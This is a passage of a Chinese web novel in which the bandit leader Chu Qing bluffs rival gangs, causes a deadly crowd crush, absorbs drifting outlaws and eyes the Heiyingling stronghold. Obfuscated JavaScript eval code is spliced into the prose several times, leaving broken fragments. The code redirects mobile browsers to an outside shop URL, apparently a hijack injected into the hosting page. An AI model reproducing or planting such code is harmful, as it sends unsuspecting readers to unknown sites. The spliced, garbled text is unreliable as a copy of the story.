看台子搭建的差不多,齐威虎戏瘾也上来了。 他先是悔恨手下出手重,无意要了赖豹性命(绝口不提是赖豹先杀了郑四,自己手下只是单纯的过去寻仇),然后又遗憾往后无法再与赖大当家同桌畅谈豪饮(虽然赖豹活着的时候他俩都没这么干过),最后感激涕零说多谢赖豹替自己关照这百余位兄弟这么久,今后他会好好照顾他们(幸好赖豹已经被钉进棺材里,不然听见这话恐怕会气的踹盖而起)云云。 他这番真情流露感动的原豹子山众土匪嚎啕大哭,大家都感叹这位威虎寨大当家果真像外头传的那般既仗义又有人情味,于是纷纷抱拳跪地说往后愿诚心在威虎寨跟着齐大当家的卖命。 齐威虎目的达到捂着眼睛佯装拭泪,他挥手让大家去送灵,看人都走的差不多了才张着嘴大大打了个呵欠转身回去补觉。 初暒背手站在角落看齐威虎演完整场戏,暗暗自语,威虎寨大当家的活儿果真不是谁都能干了的。 伍二这时从她身后走来,肯定一句,“方才要是你站在那儿同他们讲话,呈现的功效肯定会比齐威虎搞出来的更好。” 初暒笑问,“你这般相信我?” 伍二却不像开玩笑,“你值得我信。” 初暒不再说话,伍二默了一会儿又道,“你想在这里做的事情,或许我能帮得上忙。” “你怎么知道我会留在这里?” “将你套上麻袋掳进威虎寨的,是我,姜九取回牛三首级赏金,想把你送出虔来山的,也是我,但是……威虎寨后山大牢建造已久,其中铁门更是摇摇欲坠、一推便倒,凭你的本事要是想逃,轻而易举,可你没走,反而一步步坐上了威虎寨二当家的位置,我伍千裘虽然没读过多少书,但‘欲擒故纵’这类词多少还是听过一些的。” “你一开始就认出我了。” “是。” “那为何直到今日才说?” 伍二犹豫片刻,才答,“我是因躲人追杀才上虔来山落草的,行事须得小心,再者,我不晓得你混进虔来山有何目的,怕贸然与你相认,会引得旁人怀疑。” 初暒明知故问,“可知道追杀你的是何人?” 伍二点头,“知道。” 伍二有问必答,就在他以为初暒会追问追杀自己的是谁时,初暒却只望着山寨门外办完白事陆续往回走的人群没有言语。 “自你在晁都城中为我止血包扎那刻起,你的恩,我便一直记在心里!”伍二生怕她不信,抱拳低头忙道,“虽然你的年岁要比我小许多,但是你放心,我伍千裘说话算话,那夜我在窑洞门口的石桌前与你许下的诺是真的!比什么都真!” 初暒笑了笑,将他抱拳的手压下,道,“我也信你。” 伍二为了保命才上虔来山做土匪,为了不多言出错,所以才装得沉默寡言,他从没有瞧上过只知道窝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888125|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山林里做打家劫舍生意的土匪行当,因此跟着初暒抢土匪、杀土匪那几回是他在威虎寨过的久违的舒心畅快的日子,此刻他听初暒说信他,那就是说今后要是再有这中畅快干脆的活计她是愿意带着自己干的。 虽然伍二不明白初暒为何小小年纪就打人不呸手、杀人不眨眼,看着弱不禁风实则暴躁凶狠,但他见初暒即使已经成为威虎寨的二当家,却没有趁着手上有权就去欺凌报复先前常对他不尊不敬的楚六,反而依旧对他以礼相待,饶是楚六那种谁都不服气的人,伍二觉得他最近看见初暒也开始变得乖顺起来。 虔来山很大,但是伍二却总感觉它在初暒眼里很小,他想不通自己这种感觉从何而来,但是他愿意跟着她,去找这个感觉的答案。 伍二脸上带着喜色,初暒垂眸思索后,又道,“眼下还真有一件事,需要由你去做。” 安葬完赖豹的人陆陆续续回来了,楚六和姜九离得老远就看见初暒与伍二在一处说话,两人正想抬脚过去,一偏头竟发现原豹子山有几个兄弟已经先他们一步走到他俩身边。 楚六二话不说撒腿往过跑,姜九也不知道他为啥这么着急也跟着他跑,两人喘着粗气刚站稳,就听潘闯带着几个豹子山兄弟纳闷问,“初二当家的,您抢寨那天不是说威虎寨有大队人马么,怎么方才安葬赖当家的时候还是这些熟面孔?而且我们兄弟都进寨子好几天了,连大队人马的影子都没见过,您先前说的那些话该不会都是诓我们的吧?” 抢寨那日,初暒只带了有点功夫的伍二与楚六两人进豹子山,而姜九,初暒只命他多带些火把分散的插在豹子山周围,等里面打杀的声音传到山门外值守的喽啰耳中后,点完火再趁乱冲进去传报豹子山被包围的信儿。 这也就是说,拿下豹子山那天从头到尾就只有他们四个,除了他们四个,什么屁的大队人马全是初暒吹出来的。 楚六使劲回想也只记得,初暒那晚说过什么‘擒贼擒王’、‘无中生有’、‘围魏救赵’之类的四个字的词,当时他只顾瞪着眼睛听她说啥自己就干啥了,哪儿还有脑子问她万一真吞了豹子山,豹子山那群傻子要是问咱们埋伏在外面的人马都在何处时怎么解释。 楚六脾气暴躁不假,可他是个直肠子,有什么就说什么,再说他是做土匪的,一句话讲不通提刀干就完了,也用不着去费脑子扯谎诓骗人家,可是这会儿,骗人骗的人家正主都当面来问了,他从没干过这活儿,心虚地黑脸都泛着红,只得尴尬地看向初暒。 和他不同,初暒前世因为一言不合挥拳就干吃过亏,这辈子开始觉得只动嘴皮便能解决问题就很好。 于是乎,楚六就见他用那张清白小脸面不改色的看着潘闯,义正言辞说,“你既然知道这些日子连大队人马的影子都没见过,就该推测出来那些人都被大当家的藏在了外面,该让你们见的时候自然会见到,你此时问我这些,莫不是想来查大当家的家底?” 初暒这话说的理直气壮,就连知晓内情的姜九都觉得原豹子山这群人才刚归顺威虎寨就来打听这个,该不会真是在惦记着图谋不轨或者还是身在曹营心在汉? 周围立刻有四双犀利眼睛盯着自己,潘闯支吾许久也没想好该说些什么才能显出自己日月可鉴的忠心,他此前确实听豹子山的兄弟们私下质疑嘀咕过威虎寨人手的闲话,这回不过是想借着这话顺势赞许威虎寨规模宏大以此来巴结讨好威虎寨这位新当家而已,怎么就忽然变成这幅场面了。 潘闯连忙摆手,“啊不不不,小的平时就话多,今日见着您亲切就多说了几句,实在没有其他意思,您千万别忘心里去,那个……诸位先忙,小的们就先退下了……” 他说完就领着同来的兄弟们拔腿跑了,伍二与姜九互相看了一眼,嘻嘻嘿嘿笑了起来,楚六对初暒竖着大拇指,千言万语只精简成一句—— “二当家,您没吹牛,您是真牛哇!” 77. 投奔 都说虔来山是土匪窝,可白冲带人从山底出发,攀过险峻石壁、走过大路小径,翻遍了沿路的树林草窝、石壁洞穴等无数能藏人的地方,愣是连半个土匪都没见过。 一群人在崇山峻岭中从兴致勃勃走到垂头丧气,眼看夕阳落山,一天又白白过去时,终于有人撑不住一屁股坐到脚边草地上,摆手,“不行,走不动了。” “我也走不动了,小白,咱们都在这山里转悠好几天了,啥人也没见着,你这路带的到底对不对啊?” 白冲仰头四处环视一圈后又举着慕峰青给他的地形图横看竖看,纳闷道,“按理说照着这条小径一路走上去就能瞧见一处状似虎豹之首的山头啊,怎么会没有呢?” “不着急,你再仔细看看,要是附近真有那山头,它也没有长腿,肯定跑不了。” 柱子一边安慰白冲一边低头寻找表面大而平整的石块,等他如愿找到心仪的石头坐上去后,又感觉自己方才下意识扶过石块的手有些黏腻,他将手凑到眼前想分辨那黏腻是什么,借着余晖,才瞧见自己的指尖沾着黑红色的印子,柱子心中起疑,凑过去闻了闻那抹黑红,而后忽然跳起来惊嚷,“这地方咱们昨日不是来过么!” 白冲:“什么?!” “这石块上有血迹,昨日咱们路过这儿的时候,你不是还推测说此处就是土匪黑吃黑时砍了其中一人胳膊的地方!”柱子环顾四周,越看越觉得熟悉,“这山里不是灰石山壁就是苍翠树林,走到哪儿都看起来长得一个模样,咱们大概是迷路了,一直都在这里转圈圈呢!” 白冲不愿相信,忙去查看柱子指着的石块血迹,他摸了摸又闻了闻,折腾了好一会儿才沮丧地站起身。 事实不会因为他不愿相信而消失,这里确实是土匪们砍人打斗的地方,也是他们昨天就走过的地方。 说要打土匪、说要找土匪老窝、说要解救兴民城被掳百姓,可是他们一群人在这虔来山里风吹日晒的摸索奔走数日,归来还在原地。 跟随白冲从慕峰青手下州府军里出来的人此时除了累与懵,还有些为没有遇见土匪悄悄松了口气,可是对他们打包票说是只要跟着自己就肯定能打上土匪的白冲的心态多少有些崩溃。 此次跟着白冲出来的都是他在兴民城的旧识,这些人有的跟着白向福当过差,有的跟白冲在城里当过小纨绔,与他多少都有些交情,这几日虽然跟着白冲平白无故的多走了不少冤枉路,但转念又想,累点怕什么,大伙儿为了面子出来,没有跟着他丢了冤枉命就已经十分走运了…… 虽然都在暗自庆幸,可他们这会儿看白冲这幅失落难过、羞惭自责的模样,还是于心不忍。 有人说,“早听闻虔来山脉绵延不绝,每座巨山之中皆是壁立千仞、峰峦叠嶂,其中地势更是错综复杂,山高路险,今日亲身体会了,才知道传言果真不假,小白,咱们人生地不熟的多绕了点路也没什么的,只是……现在大家已经乏了,要不咱们就先在这儿驻扎下,明日再走?” 白冲不接话,仍旧不时的仰头看看周边环境又或是低头核对手中的地形图。 另一人见他没反应,像是听不懂那些话里的意思,便索性直言道,“虔来山地形复杂,现在只是迷路,再往深走还不知会遇到什么,咱们人生地不熟的多绕了点路确实没什么,可是虔来山里的土匪却都是在这儿土生土长的,万一真与他们对上了,吃亏的可是咱们啊,小白,别再犟了,回去跟慕将军低头认个错,没人会笑话你的。” 柱子也揪了揪白冲的衣摆小声说,“大家不愿再往前走了,咱们人本来就不多,心再不齐,可是啥都干不了的,小白,咱要不……回吧。” 十几双质疑的眼睛像耳光一样落在白冲身上,他低着头,捏着地形图的手紧紧攥成了拳,直到林中倏地有鸟群惊起发出悦耳的鸣叫时,白冲才转过身,回视着众人,“我与慕将军讨了这个差事之前就知晓虔来山山路崎岖艰险、山中土匪凶狠狡猾,但我还是来了,我白冲有想在军中立功的心不假,但想解救被黑鹰岭土匪掳走的兴民城百姓之心比立功更甚!你我身上穿着这身皮,还没遇着危险就开始为自己想后路,对得起那些箪食壶浆、眼巴巴盼着我们得胜归家的百姓吗?” 将地形图折好塞进胸前褡裢,白冲坚定道,“哪怕孤身深入、命丧虔来,我也誓要将被掳百姓平安带回,眼下天色虽晚,但天边仍有余晖,趁着还有天光需得加紧走出此地,还是那句话,愿跟我者,随!不愿者,便尽早返回下山罢!” 他说完就走,丝毫不给身后之人辩驳的机会,柱子没有多想,随即提刀紧随,驻足在原地的人相视一眼,还是决定跟着白冲一起离开。 人群散去,被惊起的鸟儿也分散徘徊在附近树林。 在沾染了血迹的石块不远处,藏匿在枝繁叶茂屏障中的人陆续抬起头,低声道,“不是说那群鹰爪孙只埋伏在山底么,怎么如今都潜进虔来山中了?” “听方才领头的人说要去黑鹰岭呢,他们就这么几个人,只怕到时候有去无回。” 有人嗤笑,“黑什么黑?这帮人在虎豹山头绕了好多天都没出去,甭说黑鹰岭,我看他们必定会先被豹子山那帮人吃干抹净呢。” “豹子山?”蹲在嘴边的人仰头问,“兄弟你是哪个山头的?竟不知赖豹已死,豹子山已经被威虎寨的吃了么?” “啥?威虎寨吃了豹子山?齐威虎哪来那么大的嘴?” “听说威虎寨新来了个二当家的,此人识文断字又彪悍非常,为了入伙威虎寨,只抡了把捡来的大斧就夜袭豹子山削了赖豹的项上人头,将豹子山连人带家当全都送给齐威虎做见面礼了呢。” “只几日那豹子山的兄弟们就认主了?” “是啊,你说稀奇不稀奇。” 问话那人席地坐下,琢磨了好一会儿才说,“如今已经有鹰爪孙上山来了,先不想他们会不会遇上其他大寨子,要是万一这些人在山里瞎转悠的时候碰上的是咱们这帮无寨可归的咋办。” “啊?我虽犯过事,可怎么也没有胆大到敢杀人家吃公粮的啊。” “说的是啊。” “这位兄弟,你问出这话时是不是心里已经有主意了?” “嗯,我在想,咱们这些散户要不就去委身个名号响当的山寨,哪怕受点气、看点人家的脸色,也总比心惊胆战的跟在这群鹰爪孙屁股后面东躲西藏强。” “说的是啊!” “我看也行。” “那咱们兄弟这就走?” “走!” 几人一拍即合,谨慎地在周围查看一圈后,躬身猫着腰重又隐匿在虔来山繁茂的树林中了。 虔来山脉绵长,可其中消息却传的甚快,加上威虎寨吞并了豹子山闹出的动静实在不小,虎豹山头周边的小山小寨一合计,与其被埋伏在山底的官兵逼着吞着糠咽菜,不如伏低做小跟着颇有势头的威虎寨吃肉喝汤,背靠大树,怎么着都好乘凉。 入秋后的某日晌午,天气不热不冷,齐威虎喊自己的二当家来忠义堂下棋,可他俩没下多久齐威虎就靠着虎皮宝座独自找周公玩去了,初暒闲着没事自个在忠义堂里转悠,无意间瞥见堂内墙壁一隅竟张贴着一份并不十分详细的虔来山地形图。 说不详细是因为这图上只画了大概的山脉走势与部分土匪山寨的势力划分,想来是从前各家抢山头的时候备下的,毕竟虔来山地势复杂,只有分画清楚了,才不至于在这山里‘做生意’时,不小心闯进别人当家的地盘撒野。 初暒来了兴趣,将图纸揭下铺在桌上,并对照自己这些日子在山中摸索的位置仔细核对,发现图纸所绘虽不详细,却十分准确。 她从发髻上抽出自己烧的炭笔,在图上四大山寨等关键地势做了标记,正准备将自己探明的山路绘制其上时,忽听楚六的步子正焦急地朝忠义堂奔来。 楚六跑进门见大当家的在座上打瞌睡,便只来到桌前,小声问,“二当家的!外面……外面来了好些要来投奔咱们的‘散户’!敢不敢放他们进来啊?” 初暒:“那些人你瞧着面熟吗?” 楚六摇头,“小的扫了站在前头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888126|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一眼,都没印象,在虔来山中能叫得出名号的山寨才能吃肉呢,他们原先不过是偷偷跟在咱们或是豹子山后面喝汤的把式,平日哪里敢在正主面前晃荡。” “原豹子山寨腾完了没有?” “大概已经腾完了,方才伍二带人回来的时候正好看见那些人在外面吵嚷,他让我回来通报当家们,自己在外面应付了。” “我出去看看。” 楚六问,“姜九此刻就在后院带所有的兄弟们练拳呢,咱用不用叫几个高大威猛的长些气势、撑撑场面?” 初暒笑笑,大步跨出去,道,“不用,你只需去后院让练拳兄弟们的动静再大些便可。” “明白了,您就瞧好吧!” 威虎寨,门外。 伍二挡在门前高声阻拦,“威虎寨虽说求贤若渴,却并不是谁想进就能进的地方,我知诸位好汉在此处等候已久,但还是请稍安勿躁,我当家的一定会来此相见。” 伍二好言相劝,可拉下脸前来投奔的好汉们却不将他当一回事,其中有一位更是气势汹汹、咄咄逼人,“威虎寨好大的架子,我们这么多兄弟来投奔,不说给一杯热茶也就罢了,竟连大门都不让进,知道的晓得你们这儿是土匪窝,不知道的还当是狗官开在山旮旯里的衙门呢!” “就是,该不会是你们寨子里藏着什么好东西,不敢让我们进去看吧!” “有什么好怕的,你还怕去我们抢么,兄弟们!莫要再为难门口这位好汉了,咱直接进去拜见威虎寨当家们吧!” 站在前面的几人一唱一和,推开伍二就要带身后人往里挤,为首那人见在门口挡着他们的汉子被推倒,在门口值守之人也没拿他们怎么样,正准备得意昂首闯入威虎寨大门时,忽然听见‘砰’的一声,自己的脚被一块不大的重物砸了一下,脚背瞬间被砸的发麻,疼痛还没来得及传出来,脚尖又不知被什么东西绊住,一阵失衡过后还没站稳,身后涌上前的人又将他压倒在地。 威虎寨门前是一个由外向内的下坡,这坡原本是为了方便将豹子山的家当运回来才填铺而成的,此时因为站在排头的汉子忽然扑倒,拥堵在他身后一哄而上的人便立刻扑上来将他死死压制在坡底。 “啊!” “救命啊!” “压死人了!” 伍二在这些哀嚎声中看到把玩着手中石块的初暒从山寨里款款走出来,他收到初暒的眼色后立即带着威虎寨喽啰将堆叠起来的人挨个扶起来。 人群处于自高到低的地势中,站在前面的人最怕低于拥在身后人群,因为他一旦不慎跌倒,站在他后面的人便会不受控制的往前扑去,从而加剧新的跌倒之人,如此一来,拥堵的人越多,站在前面的人被压倒之后就会伤亡的更快。 等伍二带人将坡底所有人扶起来后,压在最下面,也是方才最先硬闯威虎寨的人便已经被压得窒息而死。 看着趴在地上的尸首,前来投奔威虎寨的人在疼痛中怔愣在原地,他们只是想仗着人多,趁乱闯进去给威虎寨当家的一个下马威,以此来让威虎寨能做主的人抬举抬举自己,谁承想会好端端出现压死人这档子事。 站在后面的人不知道到底发生了什么,可是站在前排的人却清楚看见死的那人是被人用石头砸中脚没站稳才扑倒的,而这一切的祸首害死了一个人,非但没有惊慌,反而只上下丢弄着手中石头,站在前面漠然的看着他们。 那眼神不像是在看人,倒更像是在看一群吱哇乱叫,可以随时用石块砸死的小耗子。 方才还狂妄至极的人们忽然被这人的眼神震得偃旗息鼓,于是他们的傲慢不见了,狂妄不见了,开口说话的这个连‘您’字都会用了。 “想必您就是威虎寨新接任的二当家吧,小的同兄弟们耳闻贵寨名号已久,特来投奔,还请二当家的不弃草昧,收我等入伙!” 上下丢弄的石头稳稳落在掌心,初暒随手将其抛在对她拱手之人脚下,冷声道,“诸位是来投奔的啊,我还当是哪家活够了的,也想像我夺取豹子山那样,夺了我威虎寨呢。” 78. 出击 “诸位是来投奔的啊,我还当是哪家活够了的,也想像我夺取豹子山那样,夺了我威虎寨呢。” 大家都是做土匪的,自然晓得哪些是土匪行径。 方才他们未经人家应允,推搡了人家的手下还妄图擅闯人家山寨大门,这要搁在往常,再好脾气的土匪头儿也容不得别人在自己家门口如此嚣张,早动手将那些不知死活的人大卸八块了。 今日幸好他们来的人多,威虎寨二当家的心里哪怕再窝火,也不会把外面这些人都杀了,毕竟法都不责众,何况在虔来山这种只讲情义不讲法理的地方。 威虎寨值守喽啰将坡底被压死的人抬走,人群散开后,威虎寨内外旗帜鲜明的分成两个阵营。 里面,以他们二当家为首,身旁两侧只站着最开始在门口阻拦来人的汉子,并三四个小喽啰;外面,有将近百人,但是大家看带头的兄弟就这么死了,再无人敢冒尖出头,身上有伤的坐在地上歇缓,没伤的只尴尬聚在一起不知如何收场。 方才说话之人来前曾听说威虎寨二当家识文断字,大概是读过书的,便揣测这人多少能讲点理,他壮着胆子上前一步,恭敬道,“二当家的言重了,小的们是在虔来山里混沌惯了,头上又没个当家的管着,这才如此没有规矩,您大人有大量可千万别跟小的们计较。” 他好言好语,初暒也敛去身上戾气,问,“你瞧着倒是明事理的,不知好汉怎么称呼?” “小的名叫方大通,已在虔来山混迹浪荡多年,近日听闻威虎寨二当家机智勇猛,只领两人就拿下了豹子山,实在敬佩,故而一心想着前来追随,没想到这一路上又遇到许多与小的不谋而合的兄弟,这才一起做了个伴儿,我们这些人虽不是英雄,但所见都是相同,还请二当家的看在小的们诚心投奔,就收下小的们吧!” “收下小的们吧!” 有人出面交涉,围过来的人也越来越越多,他们一脸真挚的对初暒齐声吼话,可初暒心中毫无波澜甚至有些想笑,“你怎么不说实话呢。” 方大通脸上闪过囧色,怔愣好一会儿才暗道,这威虎寨二当家的看着年纪小又一脸天真,可却不是一位好糊弄的,他想了想还是有些不自在的说,“二当家既然这么问了,那就是心里清楚我们早不来晚不来,偏在虔来山底埋伏着官兵,山里没有了生意时才来,不瞒二当家的,以往虔来山路畅通的时候,山里的大寨在前面吃肉,小的们哪怕跟在后面喝汤,小日子都能过的有滋有味,可近期官兵封了一条路,金山银山忽然真就变成了荒山野岭,打得小的与一众兄弟措手不及,小的们实在是过不下去了,此时又恰好听闻您的本事,所以就这么来了。” 有人说,“我们这些人虽然从未跟过正经山寨,可个个也不是吃干饭的,收下咱们兄弟,威虎寨恐怕能在这虔来山横着走了……” 他话音刚落,威虎寨后院便传出阵阵震天响的吼声,楚六敲着锣、姜九打着鼓,生生将百人的日常练拳搞成了万人的打擂赛场。 初暒耸了耸肩,一副司空见惯的模样,“兄弟你瞧,咱里头威虎寨加上原豹子山里的勇猛汉子多着,就这些人我们大当家的都有些顾不过来,更别说另行招揽其他英雄了,要不,您诸位再上别家瞧瞧?可千万甭耽误前程了。” 低头做小来投奔,到了连威虎寨大门都没有进过,这要是传出去不得被人笑掉大牙? 方大通急了,忙说,“招兵买马哪有嫌多的,小的前几日还曾在虔来山里看到一队上来探路的鹰爪孙,听他们说,黑鹰岭又从兴民城附近掳了许多青壮汉子,威虎寨如今人是不少,可是恐怕仍旧连黑鹰岭的零头都不到呢,二当家的三思啊!” 有官兵已经进虔来山了? 不应该啊,以初暒对慕峰青的了解,山里情况复杂,就他那谨小慎微的性子是不会贸然派人进来的。 初暒眉头微蹙,“官兵进山是为解救被黑鹰岭掳去的汉子?你可知他们有多少人?” 方大通:“听说是要往那儿去的,他们人数不多,大概十四五个,只是对着山里不熟悉,已经在虎豹山头附近迷路好几日了,也不晓得绕没绕出去。” 都知道虔来山土匪狡猾凶狠,却还是只派了这十几个官兵上来,要么是他们真有几分能耐,要么就是慕峰青在耍自己用惯的借刀杀人的手段。 初暒颔首,语气终于缓和下来,“多谢好汉将此消息告知于我,不然我们还不晓得这山中已经有了鹰爪孙,万一真要遇上还不知会如何手忙脚乱呢。” 方大通忙说,“不必说谢,都是应该的,应该的。” “这样吧,既然诸位兄弟不辞艰辛、诚心投奔,山里这些时日也不太平,我先自作主张收下诸位好汉,稍后命人向齐大当家的知会一声,便迎大家入伙。”初暒佯装斟酌,而后又道,“只是威虎寨中确实不甚宽敞,尤其前些日子又迎原豹子山的兄弟进门实在没有多余地方……” “你这还是不想要我们么!” “不,我想说的是原豹子山我早已命人腾空并收拾妥当,在场诸位即日便可随我手下弟兄过去安置落脚,不过,今日之事实在突然,若有照顾不周的地方,还请诸位兄弟多多包涵才是。” 山中有不知何时何地会忽然冒出来的鹰爪孙,但是没有随时随地就能安睡吃喝的小天地,可眼前这个愿意收他们入伙的人不仅能给他们提供吃喝住宿,居然还对自己这么客气,这真是过年娶媳妇,双喜临门啊! 被威虎寨二当家仅用一块石头就送走一条人命之举镇住的土匪们,在这个瞬间又被她的和颜悦色感动的不能自已。 虽然被打了一个巴掌,但是人家给的这个枣儿确实香甜。 方大通屈膝跪地,领头与一众兄弟俯首齐声激动道,“多谢大当家!多谢二当家!小的们诚心归顺威虎寨,愿为大当家、二当家赴汤蹈火、在所不辞!” 初暒上前将他虚扶起来,向众人道,“从今往后,只要有齐大当家在,大家伙儿便再也不是无寨可归之人,既然进了我威虎寨的门,就都是我威虎寨的兄弟,若真当我们是一家人,就不必将那些归顺臣服之言、以往来处之语挂在嘴边,都听清楚了吗!” “二当家教诲!我等谨记于心!” 又说了些客套话,初暒便命伍二带着吃食将他们送去豹子山安顿,在后山表演完的楚六看他们走远,才从门后面蹦出来问,“二当家的,大家都在后院练拳练得嗷嗷叫,如此气势怎么都不让这群新来的见识见识,也好让他们瞻仰一下咱们兄弟的风姿?” “原豹子山的兄弟们先前不是想看看大当家的大队兵马么。”初暒笑道,“说了兵马藏在外面,这会儿带进来给他们瞧又算怎么回事呢。” 楚六听她这么说,先楞了一下,然后恍然大悟,“嗷!难怪二当家之前不让原豹子山的兄弟们插手山寨值守的活儿,原来是想等外面的‘散户’来投奔啊!可是…二当家如何知道常年混迹在虔来山的那些人,会投奔我们威虎寨呢?” “良禽择木而栖,尤其是出路被堵,连别人嘴里剩出来的食儿都捡不上的时候,就更得找一棵枝繁叶茂的大树依靠了。” 第一句话楚六听不懂,但是后面这句可以,他点点头,“我听他们说,虔来山里有鹰爪孙了,难怪我先前带人给郑四哥收尸的时候,瞧见那附近有四散凌乱的脚印呢,想来那些就是在山里转悠的官兵留下来的,二当家的,要是他们还在山里晃荡,咱们须得给兄弟们提醒一句,外出时务必仔细防备、多加小心了。” 初暒没有接话,背手想了一会儿,说,“待伍二回来,你与他一同去忠义堂找大当家的商议。” 楚六:“是。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就那么一个文弱的小白脸,能有多大本事,我看也就只能哄哄威虎寨和豹子山那群没见过世面的乡巴佬,要是真对上黑鹰岭那帮不要命的家伙,还不知能从他那小细皮上拔下几层。” 方大通不在意的转身回屋,悠哉道,“管他们谁对上谁,反正我有一日能安睡便就只做一日的梦。” “就是,咱们潇洒惯了的人,直管今朝有酒今朝醉……” 新来威虎寨的这些人哼着歌儿唱着曲儿,并肩揽着回去用饭,站在门口驻守山寨的威虎寨小喽啰将他们目送走,相视一眼后又继续沉默的伫立在原豹子山大门两边。 伍二小跑回威虎寨忠义堂时,众人已经等他许久了。 “大当家的,二当家的,人已经安顿好了。” 齐威虎:“都是些浪荡鬼,收了也只是浪费粮食。” 初暒盯着桌上地形图的说,“浪荡松散不假,不过他们成日在虔来山上跑,多少比我们了解山中地形地貌,多问问,总有些用处。” 楚六问,“二当家,那地形图绘制的并不完整,您总看它做什么?” 初暒:“这图虽不完整,可我以威虎寨为参照发现,周边一些山形地貌却画的十分准确,所以便想着将其再完善完善,为我们成事做些准备。” “照这么说,瘦猴那小子也算是干了一件人事了。” 初暒看向他,有些惊讶,“这图是瘦猴绘制的?” 楚六点头,“是啊,原先的二当家带他回来时,他就是以此物当投名状,吞了周边好几个小山寨呢。” 齐威虎说,“初兄弟,虔来山脉广了去了,再如何完善也不可能将其绘制完整的,甭费那力气了,有这会儿功夫咱们还是说说如何防备那些在山上乱窜的鹰爪孙好。” “与其躲闪防备,不若主动出击,我并非想要完整的虔来山地形图,而……”初暒指着威虎寨上方一处上宽下窄之地,道—— “只要这处。” 79. 打算 “你盯上了黑鹰岭?” 楚六认出初暒手指的地方,讶异问,“二当家的才来虔来山不久,是不是还不晓得这山上各寨之间的规矩?” 初暒:“怎么说?” “二当家刚来威虎寨时,大当家的曾说,‘干咱们这个行当的要想在这绿林里讨生活,第一要务就是有人,第二便是要有家伙事儿,手里有了这两样,领头的再勇猛些,周边的小寨子一眼看过去觉得自己惹不起,往后也就不会再来招惹’。”楚六解释道,“不招惹这话中意思就是,其他人默许你占山为王的这个山头归你了,从今以后,大家各做各的生意,井水不犯河水。” “那赖豹为何会将手伸进威虎寨的地盘?” 楚六嗐了一声,又道,“咱们与豹子山离得近,原先就有些不对付,郑四哥那回我们寻思你顶多带兄弟们去赖豹那儿砍几个人泄愤,谁知道二当家这么勇猛,竟将整个豹子山都收了回来,大仇得报甚至还有意外之喜对咱们来说是好的,可传出去让其他山寨知道了,八成会猜想威虎寨此举要么是在挑衅,要么就是心思变野,连藏都不藏了,若咱真开始被他们提防又或是被先下手为强,就咱们山寨这些人可根本不够黑鹰岭塞牙缝的。” 伍二想起什么,问,“听今日来投奔威虎寨那些人说,黑鹰岭不久前从兴民城附近掳了不少汉子,他们会不会已经开始为此做准备了?” 一直听他们说话的齐威虎起身背手踱步,“在虔来山各山寨中,不论是人力、物力还是财力,黑鹰岭要是排第二,那恐怕没有人敢排第一,他们人多了,养人要用的钱粮便也多了,因而黑鹰岭大当家借临近兴民城之便,时常带人在城池周边侵袭骚扰,抢夺钱、物、粮、人等物均来者不拒,他们掳人诸事干的多了,这次也不一定是冲着我们威虎寨来的。” 伍二不解:“黑鹰岭如此胆大妄为,兴民城府衙就这么视而不见?” “刚开始那些年官府自然容不得他们这般放肆,可是燕山鹰此人十分狡猾,仗着黑鹰岭好出不好进的优势,官兵一来打,他就猫在老窝硬是不探头,时间一长,兴民城府衙知道逮不住他便也不想再白费力气,平日只嘱咐城边乡村庄户的汉子入了夜就不要在外闲晃,可要养家的汉子们哪有决定自己何时返家的能耐,若真不幸被掳走时,兴民城那帮狗官不仅不帮百姓出头,反而还埋怨没了顶梁柱的人家给府衙添乱,如此一来,就越发助长了黑鹰岭的嚣张气焰,没了压制,他们的争强的地盘越来越大,其中喽啰越来越多,官府衙门也就越不敢招惹了。” 初暒:“被掳去的汉子大多都是靠天吃饭的庄稼户或是做些生意的小商贩,他们一没有杀人越货的狠心,二家中还有父母妻儿的牵挂,为何不能找机会跑出来呢?” “咱们在这山里都是各做各的生意、各过各的日子,黑鹰岭与威虎寨隔得远,我知道的这些大多都是从前来投奔的兄弟们口中听来的,也没问过那些被掳上山的汉子们都怎么样……” 齐威虎以前还真没想过这个,仔细回忆了一会儿才说,“我想起来了,前几年黑鹰岭掳上山的汉子有的觉得做土匪逍遥自在,能吃香喝辣的便会留下来,有的害怕干这个偷偷溜下山也不会被怎么着,只是……好像是从近几个月开始,被掳进黑鹰岭又逃跑的人但凡被燕山鹰的手下逮住就会将其抓回去当着众人的面杀了,无一例外,久而久之,就很少有人敢从他手里偷跑了。” “难怪他们的人越来越多。”楚六劝说二位当家,“大当家、二当家,咱们威虎寨与黑鹰岭平日里既无深仇大恨也没有利益往来,能不招惹就别招惹了吧。” 齐威虎疑惑,“咱们不是在商讨如何防备那些在山上乱窜的鹰爪孙么,跟招不招惹黑鹰岭有什么干系?” 楚六抿着嘴,与伍二一同看向二当家。 初暒站起身,双手撑在放置着虔来山地图的桌沿,问,“诸位可还记得我初到威虎寨那天说过什么?” 伍二看他们都不说话,自己上前一步,答,“您说‘慕峰青怎么说也算是朝廷新贵,派他过来,若他不对虔来山做点什么,不就闪了朝廷的脸面’。” 